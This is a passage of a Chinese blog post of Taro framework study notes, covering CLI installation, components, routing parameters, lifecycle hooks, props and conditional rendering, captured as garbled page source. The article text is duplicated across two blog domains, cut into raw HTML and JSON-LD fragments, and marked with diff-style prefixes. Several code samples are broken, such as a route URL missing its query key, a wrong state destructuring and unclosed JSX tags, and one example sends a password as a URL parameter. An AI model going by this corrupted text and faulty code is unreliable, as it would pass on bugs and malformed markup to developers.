‘./data.jsx’\n直接在父组件中使用就好\n父组件传递参数给子组件\n学过react都知道，父组件传递参数给子组件要通过props接收，因此子组件要加props参数\nfunction Data(props){\rreturn ( {props.count}\r)\r}\rexport default Data\rTaro路由（通过app.jsx的pages，谁在第一个数组的值，那么该就是默认打开的首页）\ntaro路由是自带的，只需要在app.js入口文件配置config.pages（pages是数组），就可以使用taro的api来访问路由，例如：\npages: [\r'pages/main/main',\r'pages/data/data'\r],\r注意，不需要导入页面，Taro可以自动化完成\nTaro 提供了6个路由api，分别是\nnavigateTo：记录上级页面，可以返回上级页面\nredirectTo：不记录上级页面\nswitchTab：Tab之间进行切换\nnavigateBack：返回上一级页面\ngetCurrentPages：获取当前页面信息（页面栈），注意h5不支持\nrelaunch：销毁所有页面（关闭）\n注意：微信小程序存在五层页面限制，要合理使用navigateTo和redirectTo\n路由配合页面之间传递参数\n发送参数\n例如：\nimport Taro ,{useState} from '@tarojs/taro'\rimport {View , Text ,Button} from '@tarojs/components'\rfunction Main(){\rconst [data,setData] = useState(\"hallo\")\rconst UrlIndex=()=\u003e{\rTaro.navigateTo({url:'/pages/index/index'+data})\r}\rreturn (\rhallo word\rGO\r)\r}\rexport default Main\r只需要在Index.jsx下接收就可，例如：\nimport Taro, { useState ,useEffect } from '@tarojs/taro'\r...\rconst [data,setData] = useState('')\ruseEffect(()=\u003e{\rsetData(this.$router.params.data)\r},[])\r...\r{data}\r多参数传递也是可以\nconst [data,setData] = useState(\"hallo\")\rconst [name,setName] = useState(\"root\")\rconst [pass,setPass] = useState(\"123\")\rconst UrlIndex=()=\u003e{\rTaro.navigateTo({url:'/pages/index/index?data='+data+'\u0026name='+name+'\u0026pass='+pass})\r}\r接收多参数\nconst [data,setData] = useState('')\rconst [name,setName] = useState('')\rconst [pass,setPass] = useState('')\ruseEffect(()=\u003e{\rsetData(this.$router.params.data)\rsetName(this.$router.params.name)\rsetPass(this.$router.params.pass)\r},[])\r...\r{data}\r{name}\r{pass}\r导入静态资源\nimport Taro ,{useState ,useEffect}from '@tarojs/taro'\rimport {View , Text ,Button, Image} from '@tarojs/components'\rimport {imgdata,cssdata} from '../../data' // 导入方法（函数）\rimport logo from '../../img/1.jpg' // 导入静态资源\ruseEffect(()=\u003e{\rimgdata()\rcssdata()\r},[])\r...\r或者\n请求远程端口\nconst testData= ()=\u003e{\rTaro.request({\rurl:'https://xxx.xxx/xxx'\r}).then(mainData=\u003e{\rconsole.log(mainData.data)\r})\r}\rurl是目标接口，then()是请求完毕获取到的数据\n生命周期与state\nTaro支持react的生命周期，另外Taro还为小程序补充了一些react不存在的生命周期，方便Taro开发小程序时使用\n组件的生命周期\nclass Test extends Component{\rconstructor (props) {\r// constructor会在组件挂载（组件渲染到Taro虚拟DOM之前）之前被执行\rsuper(props)\rthis.state = {\rdata: 'admin'\r}\r}\rcomponentWillMount (){\rconsole.log('第一次渲染之前执行') // 组件被装载渲染之前执行\r}\rcomponentDidMount(){\rconsole.log('第一次渲染之后执行') // 组件被装载渲染之后执行\rthis.setState({ data: 'root' }) // 修改state状态，需要通过setState方法来修改，而不是直接修改\r}\rcomponentWillUnmount(){\rconsole.log('组件被销毁或者被卸载时执行')\r}\rcomponentWillUpdate(){\rconsole.log('state数据更新前执行') // 当组件接收到新的state或者props，该钩子会在渲染之前执行，其中也可以接收2个参数，nextProps, nextState\r}\rcomponentDidUpdate(){\rconsole.log('state数据更新后执行') // 当发送更新时执行。第一次渲染不会被触发\r}\rshouldComponentUpdate(nextProps, nextState){\r// 表示该组件不受state状态或者props影响，通过返回值来表示是否在每次state状态更新时重新渲染，默认返回true\r// 该钩子函数接收2个参数，分别是nextProps, nextState，分别表示最新的props和state\rconsole.log(nextProps, nextState)\rreturn false\r}\rcomponentWillReceiveProps(nextProps){\rconsole.log('Props参数发生改变之前执行') // 当已被装载渲染的组件接收到新的props属性之前执行，nextProps参数表示最新的props属性\r}\rgetSnapshotBeforeUpdate(){\rconsole.log('在最近一次渲染之前执行') // 可用来组件渲染之前捕获数据\r}\rrender(){\rreturn(\rhallo word {this.state.data}\r)\r}\r}\rTaro Props（父子组件通信）\n子组件\nexport default class DataTest extends Component{\rrender(){\rlet {data} = this.props\rreturn(\rhallo {data}\r)\r}\r}\r父组件\nimport DataTest from './datatest'\rexport default class Test extends Component{\rconstructor (props) {\rsuper(props)\rthis.state = {\rdata: 'admin'\r}\r}\rrender(){\rlet {data} = this.state.data\rreturn(\rhallo word\r)\r}\r}\rprops默认值\nDataTest.defaultProps = {\rdata: 'user'\r}\r注意：当props为undefined时，才将读取defaultProps的值作为props\n条件渲染\n三元表达式\n{\rtrue?hallo wrod","wordCount":"621","inLanguage":"en","datePublished":"2021-08-31T12:15:00Z","dateModified":"2021-08-31T12:15:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/92/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Taro框架学习笔记</h1><div class=post-meta><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Taro%e6%a1%86%e6%9e%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行</p><p>Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持</p><p>Taro官方文档：https://taro-docs.jd.com/taro/docs/README</p><p>Taro官方组件库：https://taro-ui.jd.com/</p><p>Taro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等</p><p>Taro 1.2支持将已有的微信小程序进行转换，只需要在项目根目录运行taro convert命令就可以在将现有的小程序项目转换到taroConvert目录下，转换成jsx代码，并且可以直接使用这个代码来进行taro build来编译成taro支持的平台应用</p><p>安装Taro框架</p><p>npm install -g @tarojs/cli</p><p>或者</p><p>yarn global add @tarojs/cli</p><p>升级框架</p><p>taro update self</p><p>创建项目</p><p>taro init hallo</p><p>创建h5项目</p><p>yarn dev:h5</p><p>创建微信小程序项目</p><p>yarn dev:weapp</p><p>创建完毕会在dist目录下生成小程序程序</p><p>支付宝小程序
+import Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState(&#34;hallo word&#34;) return ( <View> <Text>{count}</Text> </View> ) } export default Main 子组件"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Taro框架学习笔记","item":"https://chenjunlinabc.github.io/posts/92/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Taro框架学习笔记","name":"Taro框架学习笔记","description":"Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行\nTaro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持\nTaro官方文档：https://taro-docs.jd.com/taro/docs/README\nTaro官方组件库：https://taro-ui.jd.com/\nTaro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等\nTaro 1.2支持将已有的微信小程序进行转换，只需要在项目根目录运行taro convert命令就可以在将现有的小程序项目转换到taroConvert目录下，转换成jsx代码，并且可以直接使用这个代码来进行taro build来编译成taro支持的平台应用\n安装Taro框架\nnpm install -g @tarojs/cli\n或者\nyarn global add @tarojs/cli\n升级框架\ntaro update self\n创建项目\ntaro init hallo\n创建h5项目\nyarn dev:h5\n创建微信小程序项目\nyarn dev:weapp\n创建完毕会在dist目录下生成小程序程序\n支付宝小程序 yarn dev:alipay\n百度小程序 yarn dev:swan\nReactNative yarn dev:rn\n编译完成的端源码在dist目录下\n作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的\nTaro组件化（Taro可以使用react开发，因此也具备react的组件化功能）\nimport Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState(\u0026quot;hallo word\u0026quot;) return ( \u0026lt;View\u0026gt; \u0026lt;Text\u0026gt;{count}\u0026lt;/Text\u0026gt; \u0026lt;/View\u0026gt; ) } export default Main 子组件","keywords":["Taro"],"articleBody":"Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行\nTaro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持\nTaro官方文档：https://taro-docs.jd.com/taro/docs/README\nTaro官方组件库：https://taro-ui.jd.com/\nTaro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等\nTaro 1.2支持将已有的微信小程序进行转换，只需要在项目根目录运行taro convert命令就可以在将现有的小程序项目转换到taroConvert目录下，转换成jsx代码，并且可以直接使用这个代码来进行taro build来编译成taro支持的平台应用\n安装Taro框架\nnpm install -g @tarojs/cli\n或者\nyarn global add @tarojs/cli\n升级框架\ntaro update self\n创建项目\ntaro init hallo\n创建h5项目\nyarn dev:h5\n创建微信小程序项目\nyarn dev:weapp\n创建完毕会在dist目录下生成小程序程序\n支付宝小程序 yarn dev:alipay\n百度小程序 yarn dev:swan\nReactNative yarn dev:rn\n编译完成的端源码在dist目录下\n作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的\nTaro组件化（Taro可以使用react开发，因此也具备react的组件化功能）\nimport Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState(\"hallo word\") return ( {count} ) } export default Main 子组件\nimport { View, Text } from '@tarojs/components' function Data(){ return ( hallo word ) } export default Data 如果使用类组件的话，需要导入Component基础类，并且类组件需要继承该基础类，例如：\nimport Taro, { Component } from '@tarojs/taro' class Data extends Component{ config = { navigationBarTitleText: 'hallo word' } render(){ return ( hallo word ) } } export default Data 导入\nimport Data from ‘./data.jsx’\n直接在父组件中使用就好\n父组件传递参数给子组件\n学过react都知道，父组件传递参数给子组件要通过props接收，因此子组件要加props参数\nfunction Data(props){ return ( {props.count} ) } export default Data Taro路由（通过app.jsx的pages，谁在第一个数组的值，那么该就是默认打开的首页）\ntaro路由是自带的，只需要在app.js入口文件配置config.pages（pages是数组），就可以使用taro的api来访问路由，例如：\npages: [ 'pages/main/main', 'pages/data/data' ], 注意，不需要导入页面，Taro可以自动化完成\nTaro 提供了6个路由api，分别是\nnavigateTo：记录上级页面，可以返回上级页面\nredirectTo：不记录上级页面\nswitchTab：Tab之间进行切换\nnavigateBack：返回上一级页面\ngetCurrentPages：获取当前页面信息（页面栈），注意h5不支持\nrelaunch：销毁所有页面（关闭）\n注意：微信小程序存在五层页面限制，要合理使用navigateTo和redirectTo\n路由配合页面之间传递参数\n发送参数\n例如：\nimport Taro ,{useState} from '@tarojs/taro' import {View , Text ,Button} from '@tarojs/components' function Main(){ const [data,setData] = useState(\"hallo\") const UrlIndex=()=\u003e{ Taro.navigateTo({url:'/pages/index/index'+data}) } return ( hallo word GO ) } export default Main 只需要在Index.jsx下接收就可，例如：\nimport Taro, { useState ,useEffect } from '@tarojs/taro' ... const [data,setData] = useState('') useEffect(()=\u003e{ setData(this.$router.params.data) },[]) ... {data} 多参数传递也是可以\nconst [data,setData] = useState(\"hallo\") const [name,setName] = useState(\"root\") const [pass,setPass] = useState(\"123\") const UrlIndex=()=\u003e{ Taro.navigateTo({url:'/pages/index/index?data='+data+'\u0026name='+name+'\u0026pass='+pass}) } 接收多参数\nconst [data,setData] = useState('') const [name,setName] = useState('') const [pass,setPass] = useState('') useEffect(()=\u003e{ setData(this.$router.params.data) setName(this.$router.params.name) setPass(this.$router.params.pass) },[]) ... {data} {name} {pass} 导入静态资源\nimport Taro ,{useState ,useEffect}from '@tarojs/taro' import {View , Text ,Button, Image} from '@tarojs/components' import {imgdata,cssdata} from '../../data' // 导入方法（函数） import logo from '../../img/1.jpg' // 导入静态资源 useEffect(()=\u003e{ imgdata() cssdata() },[]) ... 或者\n请求远程端口\nconst testData= ()=\u003e{ Taro.request({ url:'https://xxx.xxx/xxx' }).then(mainData=\u003e{ console.log(mainData.data) }) } url是目标接口，then()是请求完毕获取到的数据\n生命周期与state\nTaro支持react的生命周期，另外Taro还为小程序补充了一些react不存在的生命周期，方便Taro开发小程序时使用\n组件的生命周期\nclass Test extends Component{ constructor (props) { // constructor会在组件挂载（组件渲染到Taro虚拟DOM之前）之前被执行 super(props) this.state = { data: 'admin' } } componentWillMount (){ console.log('第一次渲染之前执行') // 组件被装载渲染之前执行 } componentDidMount(){ console.log('第一次渲染之后执行') // 组件被装载渲染之后执行 this.setState({ data: 'root' }) // 修改state状态，需要通过setState方法来修改，而不是直接修改 } componentWillUnmount(){ console.log('组件被销毁或者被卸载时执行') } componentWillUpdate(){ console.log('state数据更新前执行') // 当组件接收到新的state或者props，该钩子会在渲染之前执行，其中也可以接收2个参数，nextProps, nextState } componentDidUpdate(){ console.log('state数据更新后执行') // 当发送更新时执行。第一次渲染不会被触发 } shouldComponentUpdate(nextProps, nextState){ // 表示该组件不受state状态或者props影响，通过返回值来表示是否在每次state状态更新时重新渲染，默认返回true // 该钩子函数接收2个参数，分别是nextProps, nextState，分别表示最新的props和state console.log(nextProps, nextState) return false } componentWillReceiveProps(nextProps){ console.log('Props参数发生改变之前执行') // 当已被装载渲染的组件接收到新的props属性之前执行，nextProps参数表示最新的props属性 } getSnapshotBeforeUpdate(){ console.log('在最近一次渲染之前执行') // 可用来组件渲染之前捕获数据 } render(){ return( hallo word {this.state.data} ) } } Taro Props（父子组件通信）\n子组件\nexport default class DataTest extends Component{ render(){ let {data} = this.props return( hallo {data} ) } } 父组件\nimport DataTest from './datatest' export default class Test extends Component{ constructor (props) { super(props) this.state = { data: 'admin' } } render(){ let {data} = this.state.data return( hallo word ) } } props默认值\nDataTest.defaultProps = { data: 'user' } 注意：当props为undefined时，才将读取defaultProps的值作为props\n条件渲染\n三元表达式\n{ true?hallo wrod","wordCount":"621","inLanguage":"en","datePublished":"2021-08-31T12:15:00Z","dateModified":"2021-08-31T12:15:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/92/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Taro框架学习笔记</h1><div class=post-meta><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Taro%e6%a1%86%e6%9e%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行</p><p>Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持</p><p>Taro官方文档：https://taro-docs.jd.com/taro/docs/README</p><p>Taro官方组件库：https://taro-ui.jd.com/</p><p>Taro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等</p><p>Taro 1.2支持将已有的微信小程序进行转换，只需要在项目根目录运行taro convert命令就可以在将现有的小程序项目转换到taroConvert目录下，转换成jsx代码，并且可以直接使用这个代码来进行taro build来编译成taro支持的平台应用</p><p>安装Taro框架</p><p>npm install -g @tarojs/cli</p><p>或者</p><p>yarn global add @tarojs/cli</p><p>升级框架</p><p>taro update self</p><p>创建项目</p><p>taro init hallo</p><p>创建h5项目</p><p>yarn dev:h5</p><p>创建微信小程序项目</p><p>yarn dev:weapp</p><p>创建完毕会在dist目录下生成小程序程序</p><p>支付宝小程序
 yarn dev:alipay</p><p>百度小程序
 yarn dev:swan</p><p>ReactNative
-yarn dev:rn</p><p>编译完成的端源码在dist目录下</p><p>作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的</p><p>Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）</p><pre><code>import Taro, {  useState } from '@tarojs/taro'
-import { View, Text } from '@tarojs/components'
-import './index.less'
-function Main(){
-    const [count ,setUserName] = useState(&quot;hallo word&quot;)
-   return ( 
-       &lt;View&gt;
-           &lt;Text&gt;{count}&lt;/Text&gt;
-       &lt;/View&gt;
-    )
-}
-export default Main
-</code></pre><p>子组件</p><pre><code>import { View, Text } from '@tarojs/components'
-function Data(){
-    return ( 
-        &lt;View&gt;&lt;Text&gt;hallo word&lt;/Text&gt;&lt;/View&gt;
-    )
-}
-export default Data
-</code></pre><p>如果使用类组件的话，需要导入Component基础类，并且类组件需要继承该基础类，例如：</p><pre><code>import Taro, { Component } from '@tarojs/taro'
-class Data extends Component{
-    config = {
-        navigationBarTitleText: 'hallo word'
-    }
-    render(){
-        return ( 
-            &lt;View&gt;&lt;Text&gt;hallo word&lt;/Text&gt;&lt;/View&gt;
-        )
-    }
-}
-export default Data
-</code></pre><p>导入</p><p>import Data from &lsquo;./data.jsx&rsquo;</p><p>直接在父组件中使用就好</p><p>父组件传递参数给子组件</p><p></p><p>学过react都知道，父组件传递参数给子组件要通过props接收，因此子组件要加props参数</p><pre><code>function Data(props){
-    return ( 
-        &lt;View&gt;&lt;Text&gt;{props.count}&lt;/Text&gt;&lt;/View&gt;
-    )
-}
-export default Data
-</code></pre><p>Taro路由（通过app.jsx的pages，谁在第一个数组的值，那么该就是默认打开的首页）</p><p>taro路由是自带的，只需要在app.js入口文件配置config.pages（pages是数组），就可以使用taro的api来访问路由，例如：</p><pre><code>pages: [
-    'pages/main/main',
-    'pages/data/data'
-],
-</code></pre><p>注意，不需要导入页面，Taro可以自动化完成</p><p>Taro 提供了6个路由api，分别是</p><p>navigateTo：记录上级页面，可以返回上级页面</p><p>redirectTo：不记录上级页面</p><p>switchTab：Tab之间进行切换</p><p>navigateBack：返回上一级页面</p><p>getCurrentPages：获取当前页面信息（页面栈），注意h5不支持</p><p>relaunch：销毁所有页面（关闭）</p><p>注意：微信小程序存在五层页面限制，要合理使用navigateTo和redirectTo</p><p>路由配合页面之间传递参数</p><p>发送参数</p><p>例如：</p><pre><code>import Taro ,{useState} from '@tarojs/taro'
-import {View , Text ,Button} from '@tarojs/components'
-function Main(){
-    const [data,setData] = useState(&quot;hallo&quot;)
-    const UrlIndex=()=&gt;{
-        Taro.navigateTo({url:'/pages/index/index'+data})
-    }
-    return (
-        &lt;View&gt;
-            &lt;Text&gt;hallo word&lt;/Text&gt;
-            &lt;Button onClick={UrlIndex}&gt;GO&lt;/Button&gt;
-        &lt;/View&gt;
-    )
-}
-export default Main
-</code></pre><p>只需要在Index.jsx下接收就可，例如：</p><pre><code>import Taro, {  useState ,useEffect } from '@tarojs/taro'
-...
-const [data,setData] = useState('')
-useEffect(()=&gt;{
-    setData(this.$router.params.data)
- },[])
- ...
- &lt;Text&gt;{data}&lt;/Text&gt;
-</code></pre><p>多参数传递也是可以</p><pre><code>    const [data,setData] = useState(&quot;hallo&quot;)
-    const [name,setName] = useState(&quot;root&quot;)
-    const [pass,setPass] = useState(&quot;123&quot;)
-    const UrlIndex=()=&gt;{
-        Taro.navigateTo({url:'/pages/index/index?data='+data+'&amp;name='+name+'&amp;pass='+pass})
-    }
-</code></pre><p>接收多参数</p><pre><code>const [data,setData] = useState('')
-const [name,setName] = useState('')
-const [pass,setPass] = useState('')
-useEffect(()=&gt;{
-    setData(this.$router.params.data)
-    setName(this.$router.params.name)
-    setPass(this.$router.params.pass)
- },[])
- ...
- &lt;Text&gt;{data}&lt;/Text&gt;
- &lt;Text&gt;{name}&lt;/Text&gt;
- &lt;Text&gt;{pass}&lt;/Text&gt;
-</code></pre><p>导入静态资源</p><pre><code>import Taro ,{useState ,useEffect}from '@tarojs/taro'
-import {View , Text ,Button, Image} from '@tarojs/components'
-import {imgdata,cssdata} from '../../data' // 导入方法（函数）
-import logo  from '../../img/1.jpg' // 导入静态资源
-useEffect(()=&gt;{
-    imgdata()
-    cssdata()
-},[])
- ...
- &lt;Image src={newbbd} width=&quot;300px&quot; height=&quot;300px&quot; /&gt;
-</code></pre><p>或者</p><pre><code> &lt;Image src={require('../../img/1.jpg')} width=&quot;300px&quot; height=&quot;300px&quot; /&gt;
-</code></pre><p>请求远程端口</p><pre><code>const testData= ()=&gt;{
-    Taro.request({
-        url:'https://xxx.xxx/xxx'
-    }).then(mainData=&gt;{
-        console.log(mainData.data)
-    })
-}
-</code></pre><p>url是目标接口，then()是请求完毕获取到的数据</p><hr><p>生命周期与state</p><p>Taro支持react的生命周期，另外Taro还为小程序补充了一些react不存在的生命周期，方便Taro开发小程序时使用</p><p>组件的生命周期</p><pre><code>class Test extends Component{
-    constructor (props) {
-        // constructor会在组件挂载（组件渲染到Taro虚拟DOM之前）之前被执行
-        super(props)
-        this.state = {
-            data: 'admin'
-        }
-    }
-
-    componentWillMount (){
-        console.log('第一次渲染之前执行') // 组件被装载渲染之前执行
-    }
-    componentDidMount(){
-        console.log('第一次渲染之后执行') // 组件被装载渲染之后执行
-        this.setState({ data: 'root' }) // 修改state状态，需要通过setState方法来修改，而不是直接修改
-    }
-    componentWillUnmount(){
-        console.log('组件被销毁或者被卸载时执行')
-    }
-    componentWillUpdate(){
-        console.log('state数据更新前执行') // 当组件接收到新的state或者props，该钩子会在渲染之前执行，其中也可以接收2个参数，nextProps, nextState
-    }
-    componentDidUpdate(){
-        console.log('state数据更新后执行') // 当发送更新时执行。第一次渲染不会被触发
-    }
-    shouldComponentUpdate(nextProps, nextState){
-        // 表示该组件不受state状态或者props影响，通过返回值来表示是否在每次state状态更新时重新渲染，默认返回true
-        // 该钩子函数接收2个参数，分别是nextProps, nextState，分别表示最新的props和state
-        console.log(nextProps, nextState)
-        return false
-    }
-    componentWillReceiveProps(nextProps){
-        console.log('Props参数发生改变之前执行') // 当已被装载渲染的组件接收到新的props属性之前执行，nextProps参数表示最新的props属性
-    }
-    getSnapshotBeforeUpdate(){
-        console.log('在最近一次渲染之前执行') // 可用来组件渲染之前捕获数据
-    }
-    render(){
-        return(
-           &lt;View&gt;
-              &lt;Text&gt;hallo word {this.state.data}&lt;/Text&gt;
-           &lt;/View&gt;
-        )
-    }
-}
-</code></pre><hr><p>Taro Props（父子组件通信）</p><p>子组件</p><pre><code>export default class DataTest extends Component{
-    render(){
-        let {data} = this.props
-        return(
-           &lt;View&gt;
-              hallo {data}
-           &lt;/View&gt;
-        )
-    }
-}
-</code></pre><p>父组件</p><pre><code>import DataTest from './datatest'
-export default class Test extends Component{
-    constructor (props) {
-        super(props)
-        this.state = {
-            data: 'admin'
-        }
-    }
-    render(){
-        let {data} = this.state.data
-        return(
-           &lt;View&gt;
-              &lt;Text&gt;hallo word&lt;/Text&gt;
-               &lt;DataTest data={data}/&gt;
-           &lt;/View&gt;
-        )
-    }
-}
-</code></pre><p>props默认值</p><pre><code> DataTest.defaultProps = {
-      data: 'user'
- }
-</code></pre><p>注意：当props为undefined时，才将读取defaultProps的值作为props</p><hr><p>条件渲染</p><p>三元表达式</p><pre><code> {
-      true?&lt;div&gt;hallo wrod&lt;/div:&lt;div&gt;hhh&lt;/div&gt;
- }
-</code></pre><p>短路表达式</p><pre><code> {
-      !true||&lt;div&gt;hallo wrod&lt;/div&gt;
- }
-</code></pre><hr><p>列表渲染</p><pre><code> state = {
-      list: [
-           {id:1,name:'root'},
-           {id:2,name:'abc'},
-           {id:3,name:'test'}
-      ]
- }
- ...
- let {list} = this.state
- ...
- {
-      list.map((item, index) =&gt;{
-           return(&lt;div key={index}&gt;{item.name}&lt;/div&gt;)
-      })
- }
-</code></pre><hr><p>children传入组件</p><pre><code>export default class Test extends Component{
-    render(){
-        return(
-           &lt;View&gt;
-               {
-                   this.props.texts
-               }
-               {
-                   this.props.children
-               }
-           &lt;/View&gt;
-        )
-    }
-}
-</code></pre><p>调用的时候，直接在父组件使用就可以</p><pre><code>return(
-    &lt;View&gt;
-        &lt;Test texts={&lt;div&gt;hallo wrod&lt;/div&gt;}&gt;&lt;/Test&gt;
-        &lt;Test&gt;hallo 123&lt;/Test&gt;
-        &lt;Test&gt;hallo 666&lt;/Test&gt;
-    &lt;/View&gt;
-)
-</code></pre><p>注意：不要对this.props.children进行任何操作，taro在小程序实现这个功能是利用了插槽Slot功能，而且this.props.children不能使用defaultProps进行设置默认，也不能拆分成变量进行使用，但是允许通过props自定义属性的方式传入组件</p><hr><p>事件处理</p><pre><code>state = {
-    name: 'root'
-}
-test(){
-    console.log(this.state.name)
-}
-render(){
-    return(
-        &lt;View&gt;
-            &lt;Button onClick={this.test.bind(this)&gt;&lt;/Button&gt;
-        &lt;/View&gt;
-    )
-}
